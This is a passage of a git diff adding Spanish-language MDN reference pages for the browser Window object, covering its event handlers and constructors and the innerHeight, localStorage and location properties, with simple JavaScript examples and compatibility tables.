+ <dd>An event handler property for {{event("focus")}} events on the window.</dd>
+ <dt>{{domxref("WindowEventHandlers.onhashchange")}} {{gecko_minversion_inline("1.9.2")}}</dt>
+ <dd>An event handler property for hash change events on the window; called when the part of the URL after the hash mark ("#") changes.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeydown")}}</dt>
+ <dd>An event handler property for {{event("keydown")}} events on the window.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeypress")}}</dt>
+ <dd>An event handler property for {{event("keypress")}} events on the window.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeyup")}}</dt>
+ <dd>An event handler property for {{event("keyup")}} events on the window.</dd>
+ <dt>{{domxref("WindowEventHandlers.onlanguagechange")}}</dt>
+ <dd>An event handler property for {{event("languagechange")}} events on the window.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onload")}}</dt>
+ <dd>An event handler property for window loading.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmousedown")}}</dt>
+ <dd>An event handler property for mousedown events on the window.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmousemove")}}</dt>
+ <dd>An event handler property for mousemove events on the window.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseout")}}</dt>
+ <dd>An event handler property for mouseout events on the window.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseover")}}</dt>
+ <dd>An event handler property for mouseover events on the window.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseup")}}</dt>
+ <dd>An event handler property for mouseup events on the window.</dd>
+ <dt>{{domxref("Window.onmozbeforepaint")}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>An event handler property for the <code>MozBeforePaint</code> event, which is sent before repainting the window if the event has been requested by a call to the {{domxref("Window.mozRequestAnimationFrame()")}} method.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpageshow")}}</dt>
+ <dd>An event handler property for pageshow events on the window.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpagehide")}}</dt>
+ <dd>An event handler property for pagehide events on the window.</dd>
+ <dt>{{domxref("Window.onpaint")}}</dt>
+ <dd>An event handler property for paint events on the window.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpopstate")}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>An event handler property for popstate events, which are fired when navigating to a session history entry representing a state object.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onreset")}}</dt>
+ <dd>An event handler property for reset events on the window.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onresize")}}</dt>
+ <dd>An event handler property for window resizing.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onscroll")}}</dt>
+ <dd>An event handler property for window scrolling.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onselect")}}</dt>
+ <dd>An event handler property for window selection.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onsubmit")}}</dt>
+ <dd>An event handler property for submits on window forms.</dd>
+ <dt>{{domxref("Window.onunload")}}</dt>
+ <dd>An event handler property for unload events on the window.</dd>
+ <dt>{{domxref("Window.onuserproximity")}}</dt>
+ <dd>An event handler property for user proximity events</dd>
+</dl>
+
+<h2 id="Constructores_2">Constructores</h2>
+
+<p>See also the <a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">DOM Interfaces</a>.</p>
+
+<dl>
+ <dt>{{domxref("Window.DOMParser")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.GeckoActiveXObject")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Image")}}</dt>
+ <dd>Used for creating an {{domxref("HTMLImageElement")}}.</dd>
+ <dt>{{domxref("Option")}}</dt>
+ <dd>Used for creating an {{domxref("HTMLOptionElement")}}</dd>
+ <dt>{{domxref("Window.QueryInterface")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.XMLSerializer")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Worker")}}</dt>
+ <dd>Used for creating a <a href="/en-US/docs/DOM/Using_web_workers">Web worker</a></dd>
+ <dt>{{domxref("Window.XPCNativeWrapper")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.XPCSafeJSObjectWrapper")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+</dl>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<p>Ver <a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">DOM Reference</a></p>
+
+<h2 id="Ver_Tambien">Ver Tambien</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Working_with_windows_in_chrome_code">Trabajar con ventanas en codigo chrome</a></li>
+</ul>
diff --git a/files/es/web/api/window/innerheight/index.html b/files/es/web/api/window/innerheight/index.html
new file mode 100644
index 0000000000..ef563d9e97
--- /dev/null
+++ b/files/es/web/api/window/innerheight/index.html
@@ -0,0 +1,79 @@
+---
+title: window.innerHeight
+slug: Web/API/Window/innerHeight
+tags:
+  - API
+  - Propiedades
+  - Referências
+  - Window
+translation_of: Web/API/Window/innerHeight
+---
+<div><strong><em>//Propiedad solo lectura del objeto window.</em></strong></div>
+
+<p>    Representa la altura (en pixeles) del viewport</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">var <em>alturaDelViewport</em> = window.innerHeight;</pre>
+
+<h3 id="Valor">Valor</h3>
+
+<p>Como retorno, la propiedad innerHeight del objeto window nos retornara un valor de tipo entero, que representara (en pixeles) la altura del viewport.</p>
+
+<p>La propiedad <code>window.innerHeight</code> es solo de lectura; Y no tiene un valor por defecto.</p>
+
+<h2 id="Notas_."><span style="">Notas .                           </span></h2>
+
+<p><span style="">La propiedad innerHeight es soportada por cualquier objeto de ventana. Pudiendo ejectutarse en un conjunto de marcos  (&lt;frameset&gt; &lt;/frameset&gt;). O en una ventana secundaria.</span></p>
+
+<p>Es un algoritmo para obtener la altura del viewport, excluyendo si se representa la barra de desplazamiento horizontal</p>
+
+<h3 id="Ejemplo"><font color="#333333"><span style="background-color: #ffffff; font-size: 37.3333px;"><strong>Ejemplo</strong></span></font></h3>
+
+<h3 id="Asumiendo_un_frameset">Asumiendo un frameset</h3>
+
+<pre class="brush:js notranslate">var alturaViewport = window.innerHeight;
+
+var alturaViewport = self.innerHeight;
+// self es window
+
+
+</pre>
+
+<p> <span class="seoSummary"> <strong>//otra forma de obtener la altura (aúnque, no del         viewport, síno de la ventana), es usando  la propiedad outerHeight, del objeto window.</strong></span></p>
+
+<h3 id="Ejemplo_Grafica"><span style="">Ejemplo (Grafica)</span></h3>
+
+<p><img alt="innerHeight vs outerHeight illustration" src="/@api/deki/files/213/=FirefoxInnerVsOuterHeight2.png"></p>
+
+<h2 id="Especificacion">Especificacion</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-window-innerheight', 'window.innerHeight')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><br>
+ <font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><span style="font-size: 37.3333px;"><strong>Compatibilidad del navegador</strong></span></font></p>
+
+<p class="hidden"><span class="seoSummary">La compatibilidad de la tabla en esta pagina es generada por la estructura de datos. Si tú gustas contribuir, por favor dirigete a <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envia un pull Request</span></p>
+
+<h2 id="Tambien_me_intersa">Tambien me intersa</h2>
+
+<ul>
+ <li>{{domxref("window.innerWidth")}}</li>
+ <li>{{domxref("window.outerHeight")}}</li>
+ <li>{{domxref("window.outerWidth")}}</li>
+</ul>
diff --git a/files/es/web/api/window/localstorage/index.html b/files/es/web/api/window/localstorage/index.html
new file mode 100644
index 0000000000..c93ae93d98
--- /dev/null
+++ b/files/es/web/api/window/localstorage/index.html
@@ -0,0 +1,148 @@
+---
+title: Window.localStorage
+slug: Web/API/Window/localStorage
+tags:
+  - API
+  - Propiedad
+  - Referencia
+  - Web Storage
+  - WindowLocalStorage
+  - localStorage
+translation_of: Web/API/Window/localStorage
+---
+<p>{{APIRef()}}</p>
+
+<p>La propiedad de sólo lectura <strong><code>localStorage</code></strong> te permite acceder al objeto local {{DOMxRef("Storage")}}; los datos persisten almacenados entre de las diferentes sesiones de navegación. localStorage es similar a <code><a href="/es/docs/Web/API/Window.sessionStorage">sessionStorage</a></code>. La única diferencia es que, mientras los datos almacenados en localStorage no tienen fecha de expiración, los datos almacenados en sessionStorage son eliminados cuando finaliza la sesion de navegación - lo cual ocurre cuando se cierra la página.</p>
+
+<p>Con <code><a href="/es/docs/Web/API/Window.sessionStorage">sessionStorage</a></code> los datos persisten sólo en la ventana/tab que los creó, mientras que con <code>localStorage</code> los datos persisten entre ventanas/tabs con el mismo origen.</p>
+
+<p>Debe tenerse en cuenta que los datos almacenados tanto en <code>localStorage</code> como en <code>sessionStorage</code> <strong>son específicos del protocolo de la página</strong>.</p>
+
+<p>Las claves y los valores son <strong>siempre cadenas de texto</strong> (ten en cuenta que, al igual que con los objetos, las claves de enteros se convertirán automáticamente en cadenas de texto).</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: js">miStorage = window.localStorage;</pre>
+
+<h3 id="Valor">Valor</h3>
+
+<p>Un objeto {{DOMxRef("Storage")}} que se puede utilizar para acceder al espacio de almacenamiento local del origen actual.</p>
+
+<h3 id="Excepciones">Excepciones</h3>
+
+<dl>
+ <dt><code>SecurityError</code></dt>
+ <dd>La solicitud viola una decisión de política, o el origen no es <a href="https://developer.mozilla.org/es/docs/Web/Security/Same-origin_politica">una tupla válida de protocolo/host/puerto</a> (esto puede suceder si el origen usa el protocolo <code>file:</code> o <code>data:</code>, por ejemplo). Por ejemplo, el usuario puede tener su navegador configurado a fin de denegar el permiso para conservar datos al origen especificado.</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>El siguiente código accede al objeto local {{DOMxRef("Storage")}} actual y agrega un ítem al mismo usando {{DOMxRef("Storage.setItem()")}}.</p>
+
+<pre class="brush: js">localStorage.setItem('miGato', 'Juan');</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Por favor ver el articulo <a href="/es/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Usando la Web Storage API</a> para un ejemplo completo.</p>
+</div>
+
+<p>La sintaxis para leer el ítem almacenado en <code>localStorage</code> es la siguiente:</p>
+
+<pre class="brush: js">var cat = localStorage.getItem('miGato');</pre>
+
+<p>La sintaxis para eliminar el ítem almacenado en <code>localStorage</code> es la siguiente:</p>
+
+<pre class="brush: js">localStorage.removeItem('miGato');</pre>
+
+<p>La sintaxis para eliminar todos los ítems almacenados en <code>localStorage</code> es la siguiente:</p>
+
+<pre class="brush: js">// Elimina todos los elementos
+localStorage.clear();
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación </th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Storage', '#dom-localstorage', 'localStorage')}}</td>
+   <td>{{Spec2('Web Storage')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibiliad_de_Navegadores">Compatibiliad de Navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funcionalidad</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>localStorage</td>
+   <td>4</td>
+   <td>3.5</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>sessionStorage</td>
+   <td>5</td>
+   <td>2</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th><span style="font-family: open sans light,helvetica,arial,sans-serif; font-size: 16px; line-height: 16px;">Funcionalidad</span></th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>2.1</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>8</td>
+   <td>11</td>
+   <td>iOS 3.2</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Todos los navegadores tienen variaciones en los niveles de capacidad de almacenamiento tanto para localStorage como para sessionStorage. He aquí un <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">detalle sobre las distintas capacidades en los diferentes navegadores.</a></p>
+</div>
+
+<div class="note">
+<p><strong>Nota: </strong>a partir de iOS 5.1, Safari Mobile almacena la data del localStorage en el directorio de cache, lo cual esta sujeto al borrado y perdida ocacional de los datos ante la petición del sistema operativo, tipicamente requerido cuando el dispositivo sufre de falta de espacio de almacenamiento.</p>
+</div>
+
+<h2 id="Ver_también">Ver  también</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Usando la Web Storage API</a></li>
+ <li><a href="/es/docs/Web/API/Window.sessionStorage">Window.sessionStorage</a></li>
+</ul>
diff --git a/files/es/web/api/window/location/index.html b/files/es/web/api/window/location/index.html
new file mode 100644
index 0000000000..d1d44a2b84
--- /dev/null
+++ b/files/es/web/api/window/location/index.html
@@ -0,0 +1,274 @@
+---
+title: Window.location
+slug: Web/API/Window/location
+tags:
+  - Location
+  - contexto
+  - navegación
+translation_of: Web/API/Window/location
+---
+<p>{{APIRef}}</p>
+
+<p>La propiedad de sólo lectura <code><strong>Window.location</strong> </code>retorna un objeto {{domxref("Location")}} con información acerca de la ubicación actual del documento.</p>
+
+<p><code>Window.location</code> no sólo es una propiedad de sólo lectura, también se le puede asignar un {{domxref("DOMString")}}. Esto significa que puedes trabajar con <code>location </code>como si fuera una cadena de caracteres en la mayoría de los casos: <code>location = 'http://www.example.com'</code> es un sinónimo de <code>location.href = 'http://www.example.com'</code>.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox">var <em>oldLocation</em> = location;
+location = <em>newLocation</em>;
+</pre>
+
+<h2 id="Example" name="Example">Ejemplos</h2>
+
+<h3 id="Ejemplo_básico">Ejemplo básico</h3>
+
+<pre class="brush: js">alert(location); // alerts "https://developer.mozilla.org/en-US/docs/Web/API/Window.location"</pre>
+
+<h3 id="Ejemplo_1_Navegar_a_una_nueva_página">Ejemplo #1: Navegar a una nueva página</h3>
+
+<p>Cuando un nuevo valor es asignado a un objeto location, un documento será cargado usando la URL como si location.assing() fuera llamada con la URL modificada. Note que configuraciones de seguridad como CORS, esto puede ser prevenido cuando pase.</p>
+
+<pre class="brush: js">location.assign("http://www.mozilla.org"); // o
+location = "http://www.mozilla.org";
+</pre>
+
+<h3 id="Ejemplo_2_Forzar_la_recarga_de_una_página_desde_el_servidor">Ejemplo #2: Forzar la recarga de una página desde el servidor</h3>
+
+<pre class="brush: js">location.reload(true);</pre>
+
+<h3 id="Ejemplo_3">Ejemplo #3</h3>
+
+<p>Considerando el siguiente ejemplo, el cual recargará la página usando el método <a href="/en-US/docs/Web/API/Location.replace"><code>replace()</code></a> para insertar un valor de location.pathname dentro del hash:</p>
+
+<pre class="brush: js">function reloadPageWithHash() {
+  var initialPage = location.pathname;
+  location.replace('http://example.com/#' + initialPage);
+}
+</pre>
+
+<div class="note"><strong>Nota:</strong> El ejemplo anterior funciona en situaciones cuando location.hash no necesita ser retenido. Sin embargo, en navegadores basados en Gecko, configurar <code>location.pathname</code> en esta manera eliminará cualquier información en location.hash, mientras que en WebKit (y posiblemente en otros navegadores), configurar el pathname no afectará el hash. Si necesitas cambiar el pathname pero mantener el hash como está, usa el método <code>replace()</code>, el cual funcionará consistentemente a través de los navegadores..</div>
+
+<h3 id="Ejemplo_4_Muestra_las_propiedades_de_la_URL_actual_en_una_ventana_emergente">Ejemplo #4: Muestra las propiedades de la URL actual en una ventana emergente:</h3>
+
+<pre class="brush: js">function showLoc() {
+  var oLocation = location, aLog = ["Property (Typeof): Value", "location (" + (typeof oLocation) + "): " + oLocation ];
+  for (var sProp in oLocation){
+    aLog.push(sProp + " (" + (typeof oLocation[sProp]) + "): " +  (oLocation[sProp] || "n/a"));
+  }
+  alert(aLog.join("\n"));
+}
+
+// in html: &lt;button onclick="showLoc();"&gt;Show location properties&lt;/button&gt;
+</pre>
+
+<h3 id="Ejemplo_5_Enviar_una_cadena_de_caracteres_de_datos_al_servidor_por_modificar_la_propiedad_search">Ejemplo #5: Enviar una cadena de caracteres de datos al servidor por modificar la propiedad <code>search</code>:</h3>
+
+<pre class="brush: js">function sendData (sData) {
+  location.search = sData;
+}
+
+// in html: &lt;button onclick="sendData('Some data');"&gt;Send data&lt;/button&gt;
+</pre>
+
+<p>La siguiente URL con "?Some%20data" anexa es enviada al servidor (Si no hay ninguna acción tomada por el servidor, el documento actual es recargado con la cadena de caracteres modificada).</p>
+
+<h3 id="Ejemplo_6_Usando_marcadores_sin_cambiar_la_propiedad_hash">Ejemplo #6: Usando marcadores sin cambiar la propiedad hash:</h3>
+
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta charset="UTF-8"/&gt;
+&lt;title&gt;MDN Example&lt;/title&gt;
+&lt;script&gt;
+function showNode (oNode) {
+  var nLeft = 0, nTop = 0;
+  for (var oItNode = oNode; oItNode; nLeft += oItNode.offsetLeft, nTop += oItNode.offsetTop, oItNode = oItNode.offsetParent);
+  document.documentElement.scrollTop = nTop;
+  document.documentElement.scrollLeft = nLeft;
+}
+
+function showBookmark (sBookmark, bUseHash) {
+  if (arguments.length === 1 || bUseHash) { location.hash = sBookmark; return; }
+  var oBookmark = document.querySelector(sBookmark);
+  if (oBookmark) { showNode(oBookmark); }
+}
+&lt;/script&gt;
+&lt;style&gt;
+span.intLink {
+    cursor: pointer;
+    color: #0000ff;
+    text-decoration: underline;
+}
+&lt;/style&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+&lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam ultrices dolor ac dolor imperdiet ullamcorper. Suspendisse quam libero, luctus auctor mollis sed, malesuada condimentum magna. Quisque in ante tellus, in placerat est. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Donec a mi magna, quis mattis dolor. Etiam sit amet ligula quis urna auctor imperdiet nec faucibus ante. Mauris vel consectetur dolor. Nunc eget elit eget velit pulvinar fringilla consectetur aliquam purus. Curabitur convallis, justo posuere porta egestas, velit erat ornare tortor, non viverra justo diam eget arcu. Phasellus adipiscing fermentum nibh ac commodo. Nam turpis nunc, suscipit a hendrerit vitae, volutpat non ipsum.&lt;/p&gt;
+&lt;p&gt;Duis lobortis sapien quis nisl luctus porttitor. In tempor semper libero, eu tincidunt dolor eleifend sit amet. Ut nec velit in dolor tincidunt rhoncus non non diam. Morbi auctor ornare orci, non euismod felis gravida nec. Curabitur elementum nisi a eros rutrum nec blandit diam placerat. Aenean tincidunt risus ut nisi consectetur cursus. Ut vitae quam elit. Donec dignissim est in quam tempor consequat. Aliquam aliquam diam non felis convallis suscipit. Nulla facilisi. Donec lacus risus, dignissim et fringilla et, egestas vel eros. Duis malesuada accumsan dui, at fringilla mauris bibendum quis. Cras adipiscing ultricies fermentum. Praesent bibendum condimentum feugiat.&lt;/p&gt;
+&lt;p id="myBookmark1"&gt;[&amp;nbsp;&lt;span class="intLink" onclick="showBookmark('#myBookmark2');"&gt;Go to bookmark #2&lt;/span&gt;&amp;nbsp;]&lt;/p&gt;
+&lt;p&gt;Vivamus blandit massa ut metus mattis in fringilla lectus imperdiet. Proin ac ante a felis ornare vehicula. Fusce pellentesque lacus vitae eros convallis ut mollis magna pellentesque. Pellentesque placerat enim at lacus ultricies vitae facilisis nisi fringilla. In tincidunt tincidunt tincidunt. Nulla vitae tempor nisl. Etiam congue, elit vitae egestas mollis, ipsum nisi malesuada turpis, a volutpat arcu arcu id risus.&lt;/p&gt;
+&lt;p&gt;Nam faucibus, ligula eu fringilla pulvinar, lectus tellus iaculis nunc, vitae scelerisque metus leo non metus. Proin mattis lobortis lobortis. Quisque accumsan faucibus erat, vel varius tortor ultricies ac. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed nec libero nunc. Nullam tortor nunc, elementum a consectetur et, ultrices eu orci. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque a nisl eu sem vehicula egestas.&lt;/p&gt;
+&lt;p&gt;Aenean viverra varius mauris, sed elementum lacus interdum non. Phasellus sit amet lectus vitae eros egestas pellentesque fermentum eget magna. Quisque mauris nisl, gravida vitae placerat et, condimentum id metus. Nulla eu est dictum dolor pulvinar volutpat. Pellentesque vitae sollicitudin nunc. Donec neque magna, lobortis id egestas nec, sodales quis lectus. Fusce cursus sollicitudin porta. Suspendisse ut tortor in mauris tincidunt rhoncus. Maecenas tincidunt fermentum facilisis. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas.&lt;/p&gt;
+&lt;p&gt;Suspendisse turpis nisl, consectetur in lacinia ut, ornare vel mi. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Proin non lectus eu turpis vulputate cursus. Mauris interdum tincidunt erat id pharetra. Nullam in libero elit, sed consequat lectus. Morbi odio nisi, porta vitae molestie ut, gravida ut nunc. Ut non est dui, id ullamcorper orci. Praesent vel elementum felis. Maecenas ornare, dui quis auctor hendrerit, turpis sem ullamcorper odio, in auctor magna metus quis leo. Morbi at odio ante.&lt;/p&gt;
+&lt;p&gt;Curabitur est ipsum, porta ac viverra faucibus, eleifend sed eros. In sit amet vehicula tortor. Vestibulum viverra pellentesque erat a elementum. Integer commodo ultricies lorem, eget tincidunt risus viverra et. In enim turpis, porttitor ac ornare et, suscipit sit amet nisl. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Pellentesque vel ultrices nibh. Sed commodo aliquam aliquam. Nulla euismod, odio ut eleifend mollis, nisi dui gravida nibh, vitae laoreet turpis purus id ipsum. Donec convallis, velit non scelerisque bibendum, diam nulla auctor nunc, vel dictum risus ipsum sit amet est. Praesent ut nibh sit amet nibh congue pulvinar. Suspendisse dictum porttitor tempor.&lt;/p&gt;
+&lt;p&gt;Vestibulum dignissim erat vitae lectus auctor ac bibendum eros semper. Integer aliquet, leo non ornare faucibus, risus arcu tristique dolor, a aliquet massa mauris quis arcu. In porttitor, lectus ac semper egestas, ligula magna laoreet libero, eu commodo mauris odio id ante. In hac habitasse platea dictumst. In pretium erat diam, nec consequat eros. Praesent augue mi, consequat sed porttitor at, volutpat vitae eros. Sed pretium pharetra dapibus. Donec auctor interdum erat, lacinia molestie nibh commodo ut. Maecenas vestibulum vulputate felis, ut ullamcorper arcu faucibus in. Curabitur id arcu est. In semper mollis lorem at pellentesque. Sed lectus nisl, vestibulum id scelerisque eu, feugiat et tortor. Pellentesque porttitor facilisis ultricies.&lt;/p&gt;
+&lt;p id="myBookmark2"&gt;[&amp;nbsp;&lt;span class="intLink" onclick="showBookmark('#myBookmark1');"&gt;Go to bookmark #1&lt;/span&gt; | &lt;span class="intLink" onclick="showBookmark('#myBookmark1', false);"&gt;Go to bookmark #1 without using location.hash&lt;/span&gt; | &lt;span class="intLink" onclick="showBookmark('#myBookmark3');"&gt;Go to bookmark #3&lt;/span&gt;&amp;nbsp;]&lt;/p&gt;
+&lt;p&gt;Phasellus tempus fringilla nunc, eget sagittis orci molestie vel. Nulla sollicitudin diam non quam iaculis ac porta justo venenatis. Quisque tellus urna, molestie vitae egestas sit amet, suscipit sed sem. Quisque nec lorem eu velit faucibus tristique ut ut dolor. Cras eu tortor ut libero placerat venenatis ut ut massa. Sed quis libero augue, et consequat libero. Morbi rutrum augue sed turpis elementum sed luctus nisl molestie. Aenean vitae purus risus, a semper nisl. Pellentesque malesuada, est id sagittis consequat, libero mauris tincidunt tellus, eu sagittis arcu purus rutrum eros. Quisque eget eleifend mi. Duis pharetra mi ac eros mattis lacinia rutrum ipsum varius.&lt;/p&gt;
+&lt;p&gt;Fusce cursus pulvinar aliquam. Duis justo enim, ornare vitae elementum sed, porta a quam. Aliquam eu enim eu libero mollis tempus. Morbi ornare aliquam posuere. Proin faucibus luctus libero, sed ultrices lorem sagittis et. Vestibulum malesuada, ante nec molestie vehicula, quam diam mollis ipsum, rhoncus posuere mauris lectus in eros. Nullam feugiat ultrices augue, ac sodales sem mollis in.&lt;/p&gt;
+&lt;p id="myBookmark3"&gt;&lt;em&gt;Here is the bookmark #3&lt;/em&gt;&lt;/p&gt;
+&lt;p&gt;Proin vitae sem non lorem pellentesque molestie. Nam tempus massa et turpis placerat sit amet sollicitudin orci sodales. Pellentesque enim enim, sagittis a lobortis ut, tempus sed arcu. Aliquam augue turpis, varius vel bibendum ut, aliquam at diam. Nam lobortis, dui eu hendrerit pellentesque, sem neque porttitor erat, non dapibus velit lectus in metus. Vestibulum sit amet felis enim. In quis est vitae nunc malesuada consequat nec nec sapien. Suspendisse aliquam massa placerat dui lacinia luctus sed vitae risus. Fusce tempus, neque id ultrices volutpat, mi urna auctor arcu, viverra semper libero sem vel enim. Mauris dictum, elit non placerat malesuada, libero elit euismod nibh, nec posuere massa arcu eu risus. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer urna velit, dapibus eget varius feugiat, pellentesque sit amet ligula. Maecenas nulla nisl, facilisis eu egestas scelerisque, mollis eget metus. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Morbi sed congue mi.&lt;/p&gt;
+&lt;p&gt;Fusce metus velit, pharetra at vestibulum nec, facilisis porttitor mi. Curabitur ligula sapien, fermentum vel porttitor id, rutrum sit amet magna. Sed sit amet sollicitudin turpis. Aenean luctus rhoncus dolor, et pulvinar ante egestas et. Donec ac massa orci, quis dapibus augue. Vivamus consectetur auctor pellentesque. Praesent vestibulum tincidunt ante sed consectetur. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Fusce purus metus, imperdiet vitae iaculis convallis, bibendum vitae turpis.&lt;/p&gt;
+&lt;p&gt;Fusce aliquet molestie dolor, in ornare dui sodales nec. In molestie sollicitudin felis a porta. Mauris nec orci sit amet orci blandit tristique congue nec nunc. Praesent et tellus sollicitudin mauris accumsan fringilla. Morbi sodales, justo eu sollicitudin lacinia, lectus sapien ullamcorper eros, quis molestie urna elit bibendum risus. Proin eget tincidunt quam. Nam luctus commodo mauris, eu posuere nunc luctus non. Nulla facilisi. Vivamus eget leo rhoncus quam accumsan fringilla. Aliquam sit amet lorem est. Nullam vel tellus nibh, id imperdiet orci. Integer egestas leo eu turpis blandit scelerisque.&lt;/p&gt;
+&lt;p&gt;Etiam in blandit tellus. Integer sed varius quam. Vestibulum dapibus mi gravida arcu viverra blandit. Praesent tristique augue id sem adipiscing pellentesque. Sed sollicitudin, leo sed interdum elementum, nisi ante condimentum leo, eget ornare libero diam semper quam. Vivamus augue urna, porta eget ultrices et, dapibus ut ligula. Ut laoreet consequat faucibus. Praesent at lectus ut lectus malesuada mollis. Nam interdum adipiscing eros, nec sodales mi porta nec. Proin et quam vitae sem interdum aliquet. Proin vel odio at lacus vehicula aliquet.&lt;/p&gt;
+&lt;p&gt;Etiam placerat dui ut sem ornare vel vestibulum augue mattis. Sed semper malesuada mi, eu bibendum lacus lobortis nec. Etiam fringilla elementum risus, eget consequat urna laoreet nec. Etiam mollis quam non sem convallis vel consectetur lectus ullamcorper. Aenean mattis lacus quis ligula mattis eget vestibulum diam hendrerit. In non placerat mauris. Praesent faucibus nunc quis eros sagittis viverra. In hac habitasse platea dictumst. Suspendisse eget nisl erat, ac molestie massa. Praesent mollis vestibulum tincidunt. Fusce suscipit laoreet malesuada. Aliquam erat volutpat. Aliquam dictum elementum rhoncus. Praesent in est massa, pulvinar sodales nunc. Pellentesque gravida euismod mi ac convallis.&lt;/p&gt;
+&lt;p&gt;Mauris vel odio vel nulla facilisis lacinia. Aliquam ultrices est at leo blandit tincidunt. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Suspendisse porttitor adipiscing facilisis. Duis cursus quam iaculis augue interdum porttitor. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Duis vulputate magna ac metus pretium condimentum. In tempus, est eget vestibulum blandit, velit massa dignissim nisl, ut scelerisque lorem neque vel velit. Maecenas fermentum commodo viverra. Curabitur a nibh non velit aliquam cursus. Integer semper condimentum tortor a pellentesque. Pellentesque semper, nisl id porttitor vehicula, sem dui feugiat lacus, vitae consequat augue urna vel odio.&lt;/p&gt;
